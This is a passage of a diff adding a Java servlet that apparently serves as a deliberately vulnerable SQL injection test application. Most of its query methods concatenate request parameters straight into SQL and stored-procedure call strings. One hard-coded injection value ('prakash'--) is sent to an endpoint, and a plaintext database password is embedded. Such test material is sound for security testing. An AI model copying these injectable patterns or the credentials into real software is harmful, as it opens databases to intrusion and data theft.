" + + ": StoredProcDirectPara.execute()(Execute PreparedStatement on same thread)
" + + ": StoredProcDirectParaAsync.execute()(Execute StoredProc on seperate thread)
" + + ": StoredProcAsync.execute()(Execute StoredProc using setString() on seperate thread)
" + + ": storedproccallwithsqlinj.execute()(Insert Sql injection with stored procedure, 1=1 or call verifyuser(?,?))
" + + ": Multiple Stored Procedure
" + + ": Non Vulnerable Stored Procedure
" + + ": PreparedStatementDirectParaIdentifier1.execute()
" + + ": PreparedStatementDirectParaIdentifier2.execute() (order by clause)
" + + ": PreparedStatementDirectParaIdentifier3.execute() (order by clause)
" + + ": PreparedStatementQueryConnectingStrings.execute()
" + + ": PreparedStatementQueryMultiLegs.execute()
" + + ": PreparedStatementQueryMultiLegs_second.execute()
" + + ": StoredProcedureMultihubs.execute()
" + + ": StoredProcedureMultihubs_second.execute()
" + + "

" + + + "" + "
"; + out.println(form); + + if (createRecord(request, out)) { + return; + } + String first = request.getParameter("first"); + String last = request.getParameter("name"); + String pass = request.getParameter("password"); + String filtername = request.getParameter("filtername"); + String singleID = request.getParameter("singleID"); + + + String procedure_name = request.getParameter("procedure_name"); + + HashMap sqltypeMap = new HashMap() {{ + put("storedproc", 0); + put("executeUpdateSQLColNames", 1); + put("executeQuerySQL", 2); + put("executeSQL", 3); + put("executeUpdateSQL", 4); + put("executeSQLColIndex", 5); + put("executeUpdateSQLColIndex", 6); + put("executeSQLAutogenkeys", 7); + put("executeUpdateSQLAutogenkeys", 8); + put("preparedStatement.execute", 9); + put("preparedStatement.executeQuery", 10); + put("preparedStatement.executeUpdate", 11); + put("storedproc.executeQuery", 12); + put("storedproc.executeScript",13); + put("PreparedStatement.executeScript",14); + put("storedproc.callbyName()",15); + put("PreparedStatementDirectPara.execute()",16); + put("PreparedStatementDirectParaAsync.execute()",17); + put("StoredProcDirectPara.execute()",18); + put("StoredProcDirectParaAsync.execute()",19); + put("StoredProcAsync.execute()",20); + put("storedproccallwithsqlinj.execute()",21); + put("multiplestoredproc", 22); + put("nonvulnstoredproc", 23); + put("PreparedStatementDirectParaIdentifier1", 24); + put("PreparedStatementDirectParaIdentifier2", 25); + put("PreparedStatementDirectParaIdentifier3", 26); + put("PreparedStatementQueryConnectingStrings",27); + put("PreparedStatementQueryMultiLegs",28); + put("PreparedStatementQueryMultiLegs_second",29); + put("StoredProcedureMultihub",30); + put("StoredProcedureMultihub_second",31); + + + + }}; + + String sqltypeStr = request.getParameter("sqltype"); + int sqltype = sqltypeMap.get(sqltypeStr); + String retVal = "Failed!"; + + switch (sqltype) { + case 0: //storedproc + try { + if (!(last.isEmpty()) && getCustomersStoredProc(1,last,pass)) { + retVal = "Succeeded"; + break; + } + } catch (NullPointerException e) { } + + try { + if (!(filtername.isEmpty()) && getCustomersStoredProc(1,filtername, pass)) { + retVal = "Succeeded"; + break; + } + } catch (NullPointerException e) { } + + try { + if (!(singleID.isEmpty()) && getCustomersStoredProc(singleID)) { + retVal = "Succeeded"; + break; + } + } catch (NullPointerException e) { } + break; + + case 1: // executeUpdateSQLColNames + if (getCustomersUpdateColName(first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 2: //executeQuerySQL + try { + if (!(last.isEmpty()) && executeQuerySQL(1, last, pass)) { + retVal = "Succeeded"; + break; + } + } catch(NullPointerException e) { } + try { + if (!(filtername.isEmpty()) && executeQuerySQL(2, filtername, pass)) { + retVal = "Succeeded"; + break; + } + } catch(NullPointerException e) { } + try { + if (!(singleID.isEmpty()) && executeQuerySQL(singleID)) { + retVal = "Succeeded"; + break; + } + } catch(NullPointerException e) { } + break; + case 3: //executeSQL + if (executeSQL(last, pass)) { + retVal = "Succeeded"; + } + break; + case 4: //executeUpdateSQL + if (executeUpdateSQL(last, pass)) { + retVal = "Succeeded"; + } + break; + case 5: //executeSQLColIndex + if (executeSQLWithColIndex("execute", first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 6: //executeUpdateSQLColIndex + if (executeSQLWithColIndex("executeUpdate", first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 7: //executeSQLAutogenkeys + if (executeSQLWithAutogenkeys("execute", first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 8: //executeUpdateSQLAutogenkeys + if (executeSQLWithAutogenkeys("executeUpdate", first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 9: //preparedStatement.execute + if (getCustomersPreparedStatement( "execute", last, pass)) { + retVal = "Succeeded"; + } + break; + case 10: //preparedStatement.executeQuery + if (getCustomersPreparedStatement( "executeQuery", last, pass)) { + retVal = "Succeeded"; + } + break; + case 11: //preparedStatement.executeUpdate + if (getCustomersPreparedStatement( "executeUpdate", first, last)) { + retVal = "Succeeded"; + } + break; + case 12: //storedproc executeQuery + if (getCustomersStoredProc(2, last, pass)) { + retVal = "Succeeded"; + } + break; + case 13: //storedproc executeScript + if (getCustomersStoredProc2()) { + retVal = "Succeeded"; + } + break; + case 14: + if (getCustomerPreparedStatement2()) { + retVal = "Succeeded"; + } + break; + case 15: + if (storedproccallbyName(procedure_name, last, pass)) { + retVal = "Succeeded"; + } + break; + case 16: + if (PreparedStatementDirectPara(last, pass)) { + retVal = "Succeeded"; + } + break; + case 17: + if (PreparedStatementDirectParaAsync(last,pass)) { + retVal = "Succeeded"; + } + break; + case 18: + if (StoredProcDirectPara(last,pass)) { + retVal = "Succeeded"; + } + break; + case 19: + if (StoredProcDirectParaAsync(last,pass)) { + retVal = "Succeeded"; + } + break; + case 20: + if (getCustomersStoredProcAsync(last, pass)) { + retVal = "Succeeded"; + } + break; + case 21: + if (storedproccallwithsqlinj(last, pass)) { + retVal = "Succeeded"; + } + break; + case 22: //multiplestoredproc + if (getCustomersMultipleStoredProc(1, last, pass)) { + retVal = "Succeeded"; + } + break; + case 23: //nonvulnstoredproc + if (getCustomersNonvulnerableStoredProc(1, last, pass)) { + retVal = "Succeeded"; + } + break; + case 24: + if (PreparedStatementDirectParaIdentifier1(last, pass)) { + retVal = "Succeeded"; + } + break; + case 25: + if (PreparedStatementDirectParaIdentifier2(last, pass)) { + retVal = "Succeeded"; + } + break; + case 26: + if (PreparedStatementDirectParaIdentifier3(last, pass)) { + retVal = "Succeeded"; + } + break; + case 27: + try { + if (!(last.isEmpty()) && PreparedStatementEexecuteQuerySQL(1, last, pass)) { + retVal = "Succeeded"; + break; + } + } catch (NullPointerException e) { } + + try { + if(!(filtername.isEmpty()) && PreparedStatementEexecuteQuerySQL(2, filtername, pass)) { + retVal = "Succeeded"; + break; + } + } catch (NullPointerException e) { } + + try { + if (!(singleID.isEmpty()) && PreparedStatementEexecuteQuerySQL(singleID)) { + retVal = "Succeeded"; + break; + } + } catch(NullPointerException e) { } + break; + + case 28: + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + HttpURLConnectionExample.sendPOSTwithParameter(last,pass,"prepared_statement"); + retVal = "Succeeded"; + //response.sendRedirect("ExtraServlet"); + break; + case 29: + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + HttpURLConnectionExample.sendPOSTwithParameter("prakash'--","psmo","prepared_statement"); + retVal = "Succeeded"; + //response.sendRedirect("ExtraServlet"); + break; + + case 30: + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + + HttpURLConnectionExample.sendPOSTwithParameter(last, pass,"stored_procedure"); + retVal = "Succeeded"; + break; + + case 31: + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + HttpURLConnectionExample.sendPOSTwithParameter("prakash'--","psmo","stored_procedure"); + retVal = "Succeeded"; + //response.sendRedirect("ExtraServlet"); + break; + + default: + System.out.println("SQL Type not found"); + } + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + if (retVal.equalsIgnoreCase("Succeeded")){ + retVal = HttpURLConnectionExample.sendGET(); + } + out.println("

SQL execution " + retVal + "

"); + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + + } + + private boolean createRecord(HttpServletRequest request, PrintWriter out) { + String fullName = request.getParameter("add"); + if (fullName != null) { + String[] firstLast = fullName.split(" "); + if (firstLast.length == 3) { + insertCustomers(firstLast[0], firstLast[1], firstLast[2]); + out.println("Added " + fullName); + return true; + } + } + return false; + } + + private boolean getCustomersUpdateColName(String first, String last, String pass) { + StringBuffer sbuf = new StringBuffer(); + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + try { + String[] cols = {"FIRST", "LAST"}; + String query = String.format("UPDATE CUSTOMERS SET FIRST = '%s' WHERE LAST = '%s' AND PASSWORD = '%s'", first, last, pass); + System.out.println("QUERY :" + query); + int ret = stmt.executeUpdate(query, cols); + // Clean up + stmt.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + return false; + } finally { + try { + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + return false; + } + } + return true; + } + + private boolean executeSQLWithColIndex(String methodName, String first, String last, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + try { + int[] cols = {1, 2}; + String query = String.format("UPDATE CUSTOMERS SET FIRST = '%s' WHERE LAST = '%s' AND PASSWORD = '%s'", first, last, pass); + System.out.println("QUERY :" + query); + if (methodName.equalsIgnoreCase("execute")) { + boolean ret = stmt.execute(query, cols); + } else if (methodName.equalsIgnoreCase("executeUpdate")) { + int ret = stmt.executeUpdate(query, cols); + } else { + System.out.println("Invalid SQL method!"); + } + // Clean up + } catch (SQLException e) { + System.err.println(e.getMessage()); + return false; + } finally { + try { + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return true; + } + + private boolean executeSQLWithAutogenkeys(String methodName, String first, String last, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + try { + int autogenkeys = Statement.RETURN_GENERATED_KEYS; + String query = String.format("UPDATE CUSTOMERS SET FIRST = '%s' WHERE LAST = '%s' AND PASSWORD = '%s'", first, last, pass); + System.out.println("QUERY :" + query); + if (methodName.equalsIgnoreCase("execute")) { + boolean ret = stmt.execute(query, autogenkeys); + } else if (methodName.equalsIgnoreCase("executeUpdate")) { + int ret = stmt.executeUpdate(query, autogenkeys); + } else { + System.out.println("Invalid SQL method!"); + } + // Clean up + } catch (SQLException e) { + System.err.println(e.getMessage()); + return false; + } finally { + try { + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return true; + } + + + private Connection connect() { + Connection conn = null; + try { + // Create database connection + conn = DriverManager.getConnection(connectionUrl, dbUser, dbPassword); + System.out.println("DB Connection established"); + } catch (Exception e) { + System.err.println("ERROR: failed to connect DB"); + e.printStackTrace(); + return null; + } + return conn; + } + + private Connection connectpsql() { + Connection conn = null; + try { + // Create database connection + String dbURL = "jdbc:postgresql://localhost:5432/sqlinject?sslmode=disable"; + String user = "postgres"; + String password = "Psqlpsmo@1"; + conn = DriverManager.getConnection(dbURL, user, password); + System.out.println("DB Connection established"); + } catch (Exception e) { + System.err.println("ERROR: failed to connect postgres SQL."); + e.printStackTrace(); + return null; + } + return conn; + } + + public static String insertCustomers(String first, String last, String pass) { + StringBuffer sbuf = new StringBuffer(); + + Connection conn = null; + String db = "jdbc:hsqldb:hsql://localhost/xdb"; + String user = "SA"; + String password = ""; + + try { + // Create database connection + conn = DriverManager.getConnection(db, user, password); + + // Create and execute statement + Statement stmt = conn.createStatement(); + String sql = "INSERT INTO CUSTOMER VALUES (\'" + first + "\',\'" + last + "\', \'" + pass + "')"; + System.out.println("Adding: " + sql); + stmt.executeQuery(sql); + System.out.println("Inserted into Database"); + + // Clean up + stmt.close(); + } catch (SQLException e) { + System.err.println("SQL Error:" + e.getMessage()); + } finally { + try { + // Close connection + if (conn != null) + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return sbuf.toString(); + } + + // Handling "executeQuerySQL" and "PreparedStatementEexecuteQuerySQL" for customer specific info + public boolean executeQuerySQL(int n, String name, String pass) { + return executeSQLHelper("executeQuerySQL", n, name, pass); + } + public boolean PreparedStatementEexecuteQuerySQL(int n, String name, String pass) { + return executeSQLHelper("PreparedStatementEexecuteQuerySQL", n, name, pass); + } + + // Handling "executeQuerySQL" and "PreparedStatementEexecuteQuerySQL" for account specific info + public boolean executeQuerySQL(String ids) { + return executeSQLHelper("executeQuerySQL", ids); + } + + public boolean PreparedStatementEexecuteQuerySQL(String ids) { + return executeSQLHelper("PreparedStatementEexecuteQuerySQL", ids); + } + + // Handling "executeSQL" and "executeUpdateSQL" for customer specific info + public boolean executeSQL(String name, String pass) { + return executeSQLHelper("executeSQL", name, pass); + } + + public boolean executeUpdateSQL(String name, String pass) { + return executeSQLHelper("executeUpdateSQL", name, pass); + } + + + public boolean executeSQLHelper(String methodName, String name, String pass) { + boolean retVal = false; + Connection conn = connect(); + if (conn == null) + return false; + + try { + StringBuffer sbuf = new StringBuffer(); + String query = new String(); + + query = "select FIRST, LAST from CUSTOMERS WHERE LAST=\'" + name + "\' AND PASSWORD= \'" + pass + "\'"; + + + if (methodName.equalsIgnoreCase("executeQuerySQL")) { + System.out.println("QUERY :" + query); + Statement stmt = conn.createStatement(); + ResultSet rs = stmt.executeQuery(query); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + System.out.println("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + stmt.close(); + rs.close(); + } else if (methodName.equalsIgnoreCase("PreparedStatementEexecuteQuerySQL")) { + System.out.println("PreparedStatementQUERY :" + query); + PreparedStatement stmt = conn.prepareStatement(query); + ResultSet rs = stmt.executeQuery(); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + System.out.println("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + stmt.close(); + rs.close(); + } else if (methodName.equalsIgnoreCase("executeSQL")) { + Statement stmt = conn.createStatement(); + retVal = stmt.execute(query); + stmt.close(); + } else if (methodName.equalsIgnoreCase("executeUpdateSQL")) { + Statement stmt = conn.createStatement(); + retVal = stmt.executeUpdate(query) > 0; + stmt.close(); + } + } catch (SQLException e) { + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return retVal; + } + + public boolean executeSQLHelper(String methodName, int n, String name, String pass) { + boolean retVal = false; + Connection conn = connect(); + if (conn == null) + return false; + + // Check for multiple values entry before constructing the query + String[] name_values = name.split(","); + String parse_name_values = name_values[0]; + for (int i = 1; i< name_values.length; i++ ) { + parse_name_values += "\',\'" ; + parse_name_values += name_values[i]; + } + + try { + StringBuffer sbuf = new StringBuffer(); + String query; + + // Check for filter operation + if(n==2) { + query = "select FIRST, LAST from CUSTOMERS WHERE LAST like \'" + name + "%\' AND PASSWORD= \'" + pass + "\'"; + } + // Check for normal query operation + else { + if(parse_name_values.contains(",")) { + query = "select FIRST, LAST from CUSTOMERS WHERE LAST IN (\'" + parse_name_values + "\')"; + } else { + query = "select FIRST, LAST from CUSTOMERS WHERE LAST=\'" + parse_name_values + "\' AND PASSWORD= \'" + pass + "\'"; + } + } + System.out.println("QUERY :" + query); + + // Check for preparedstatement + if (methodName.equalsIgnoreCase("executeQuerySQL")) { + Statement stmt = conn.createStatement(); + ResultSet rs = stmt.executeQuery(query); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + System.out.println("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + stmt.close(); + rs.close(); + } else if (methodName.equalsIgnoreCase("PreparedStatementEexecuteQuerySQL")) { + System.out.println("PreparedStatementQUERY :" + query); + PreparedStatement stmt = conn.prepareStatement(query); + ResultSet rs = stmt.executeQuery(); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + System.out.println("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + stmt.close(); + rs.close(); + } else if (methodName.equalsIgnoreCase("executeSQL")) { + Statement stmt = conn.createStatement(); + retVal = stmt.execute(query); + stmt.close(); + } else if (methodName.equalsIgnoreCase("executeUpdateSQL")) { + Statement stmt = conn.createStatement(); + retVal = stmt.executeUpdate(query) > 0; + stmt.close(); + } + } catch (SQLException e) { + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return retVal; + } + + public boolean executeSQLHelper(String methodName, String ids) { + boolean retVal = false; + String query = new String() ; + Connection conn = connect(); + if (conn == null) + return false; + + if(ids.contains(",")) { + query = "select ID, NAME from ACCOUNTS WHERE ID IN (" + ids + ")" ; + } else { + query = "select ID from ACCOUNTS WHERE ID = " + ids ; + } + + try { + if (methodName.equalsIgnoreCase("executeQuerySQL")) { + StringBuffer sbuf = new StringBuffer(); + Statement stmt = conn.createStatement(); + System.out.println("QUERY :" + query); + ResultSet rs = stmt.executeQuery(query); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer id: " + rs.getString("ID")); + System.out.println("Customer id: " + rs.getString("ID")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + stmt.close(); + rs.close(); + } else if (methodName.equalsIgnoreCase("PreparedStatementEexecuteQuerySQL")) { + System.out.println("PreparedStatementQUERY :" + query); + PreparedStatement stmt = conn.prepareStatement(query); + ResultSet rs = stmt.executeQuery(); + + StringBuffer sbuf = new StringBuffer(); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer id: " + rs.getString("ID")); + System.out.println("Customer id: " + rs.getString("ID")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + stmt.close(); + rs.close(); + } else if (methodName.equalsIgnoreCase("executeSQL")) { + Statement stmt = conn.createStatement(); + retVal = stmt.execute(query); + stmt.close(); + } else if (methodName.equalsIgnoreCase("executeUpdateSQL")) { + Statement stmt = conn.createStatement(); + retVal = stmt.executeUpdate(query) > 0; + stmt.close(); + } + + } catch (SQLException e) { + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return retVal; + } + + public static boolean isNumeric(String strNum) { + try { + double d = Integer.parseInt(strNum); + } catch (NumberFormatException nfe) { + return false; + } + return true; + } + + + public boolean getCustomersStoredProc1(String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + c = conn.prepareCall("{call verifyuser(?,?,?)}"); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + System.out.println("DB stored Proc being called"); + boolean hasResults = c.execute(); + // Loop through the data and print all artist names + output = c.getInt(3); + System.out.println("Customer Count: " + c.getInt(3)); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + + public boolean storedproccallwithsqlinj(String name, String pass) + { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + return false; + } + int output = 0; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + String ProcQuery = "{" + name + " call verifyuser(?,?,?)}"; + c = conn.prepareCall(ProcQuery); + c.setString(1, pass); + c.setString(2, "prakash"); + c.registerOutParameter(3, Types.INTEGER); + System.out.println("DB stored Proc being called"); + boolean hasResults = c.execute(); + // Loop through the data and print all artist names + output = c.getInt(3); + System.out.println("Customer Count: " + c.getInt(3)); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + + return output > 0; + } + + public boolean storedproccallbyName(String procedure_name, String name, String pass) + { + Connection conn = connect(); + if (conn == null) + return false; + int output = 0; + try { + CallableStatement c = null; + if(name.isEmpty() && procedure_name.equalsIgnoreCase("verifyuser_withresponse")) { + String ProcQuery = "{call "+ procedure_name + "(?)}"; + c = conn.prepareCall(ProcQuery); + c.registerOutParameter(1, Types.INTEGER); + c.execute(); + output = c.getInt(1); + } + else if(name.isEmpty() && procedure_name.equalsIgnoreCase("verifyuser_noresponse")) { + String ProcQuery = "{call "+ procedure_name + "()}"; + c = conn.prepareCall(ProcQuery); + c.execute(); + } + else { + String ProcQuery = "{call "+ procedure_name + "(?,?,?)}"; + c = conn.prepareCall(ProcQuery); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + c.execute(); + output = c.getInt(3); + } + + System.out.println("DB stored Proc being called"); + System.out.println("Customer Count: " + output); + + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + + return output >= 0; + } + + public boolean getCustomersStoredProcAsync(String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + c = conn.prepareCall("{call verifyuser(?,?,?)}"); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + ExecutorService executorService = Executors.newSingleThreadExecutor(); + System.out.println("Created ExecutorService"); + CallableStatementTask task = new CallableStatementTask(c); + System.out.println("Created CallableStatementTask object"); + Future future = executorService.submit(task); + System.out.println("Executed executorService.submit(task)"); + hasResults = future.get().booleanValue(); + executorService.shutdown(); + System.out.println("Finished"); + System.out.println("DB stored Proc being called"); + //c.execute(); + //c.executeQuery(); + // Loop through the data and print all artist names + output = c.getInt(3); + System.out.println("Customer Count: " + c.getInt(3)); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + + public boolean getCustomersStoredProc(int callType, String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + String query = "{call verifyuser(?,?,?)}"; + c = conn.prepareCall(query); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + System.out.println("DB stored Proc being called"); + System.out.println(query); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + //c.executeQuery(); + // Loop through the data and print all artist names + output = c.getInt(3); + System.out.println("Customer Count: " + c.getInt(3)); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + + public boolean getCustomersStoredProc(int callType, String name, String filtername, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + try { + // close the statement as its not a callable statement + stmt.close(); + String query; + CallableStatement c = null; + if (filtername.isEmpty()) { + query = "{call verifyuser(?,?,?)}"; + c = conn.prepareCall(query); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + System.out.println("DB stored Proc being called"); + System.out.println(query); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + output = c.getInt(3); + System.out.println("Customer Count: " + output); + } else { + query = "{ ? = call filter_names_using_like(?,?)}"; + c = conn.prepareCall(query); + c.registerOutParameter(1, Types.INTEGER); + c.setString(2, filtername); + c.setString(3, pass); + System.out.println("DB stored Proc being called"); + System.out.println(query); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + output = c.getInt(1); + System.out.println("Customer Count: " + output); + } + + //c.executeQuery(); + // Loop through the data and print all artist names + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + + public boolean getCustomersStoredProc(String ids) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + String query; + if (ids.contains(",")) { + query = "{ ? = call filter_ids_using_in( ? ) }"; + } + else { + query = "{ ? = call filter_ids_using_singleid( ? ) }"; + } + c = conn.prepareCall(query); + c.registerOutParameter(1, Types.INTEGER); + c.setString(2, ids); + System.out.println("DB stored Proc being called"); + System.out.println(query); + c.execute(); + //c.executeQuery(); + // Loop through the data and print all artist names + output = c.getInt(1); + System.out.println("ID Count: " + output); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + public boolean getCustomersNonvulnerableStoredProc(int callType, String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + c = conn.prepareCall("{?=call verifyuser1(?,?,?)}"); + c.setString(2, name); + c.setString(3, pass); + c.setString(4, "test"); + System.out.println("Executed the query" ); + c.registerOutParameter(1, Types.BOOLEAN); + System.out.println("DB stored Proc being called"); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + //c.executeQuery(); + // Loop through the data and print all artist names + //output = c.getInt(3); + System.out.println("Executed the query" ); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + public boolean getCustomersMultipleStoredProc(int callType, String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + CallableStatement c; + try { + System.out.println("Executing first procedure"); + c = null; + c = conn.prepareCall("{call verifyusera(?,?,?,?)}"); + c.setString(1, name); + c.setString(2, pass); + c.setString(3, "SARDIWAL"); + c.registerOutParameter(4, Types.INTEGER); + System.out.println("DB stored Proc being called"); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + System.out.println("Customer Count: " + c.getInt(4)); + System.out.println("Executed second procedure"); + c.close(); + } catch(Exception e) { + System.out.println("Exception : "+e.getMessage()); + } + try { + System.out.println("Executing second procedure"); + c = null; + c = conn.prepareCall("{call verifyuserb(?,?,?,?)}"); + c.setString(1, name); + c.setString(2, pass); + c.setString(3, "SARDIWAL"); + c.registerOutParameter(4, Types.INTEGER); + System.out.println("DB stored Proc being called"); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + System.out.println("Customer Count: " + c.getInt(4)); + System.out.println("Executed third procedure"); + c.close(); + } catch(Exception e) { + System.out.println("Exception : "+e.getMessage()); + } + try { + System.out.println("Executing third procedure"); + c = null; + c = conn.prepareCall("{call verifyuserc(?,?,?,?)}"); + c.setString(1, name); + c.setString(2, pass); + c.setString(3, "SARDIWAL"); + c.registerOutParameter(4, Types.INTEGER); + System.out.println("DB stored Proc being called"); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + System.out.println("Customer Count: " + c.getInt(4)); + System.out.println("Executed third procedure"); + c.close(); + } catch(Exception e) { + System.out.println("Exception : "+e.getMessage()); + } + + try { + System.out.println("Executing fourth procedure"); + c = null; + c = conn.prepareCall("{? = call verifyuserd(?,?)}"); + c.setString(2, name); + c.setString(3, pass); + // c.setString(3, "SARDIWAL"); + c.registerOutParameter(1, Types.VARCHAR); + System.out.println("DB stored Proc being called"); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + System.out.println("Customer Count: "); + System.out.println("Executed fourth procedure"); + c.close(); + } catch(Exception e) { + System.out.println("Exception : "+e.getMessage()); + } + finally { + try { + // Close connection + 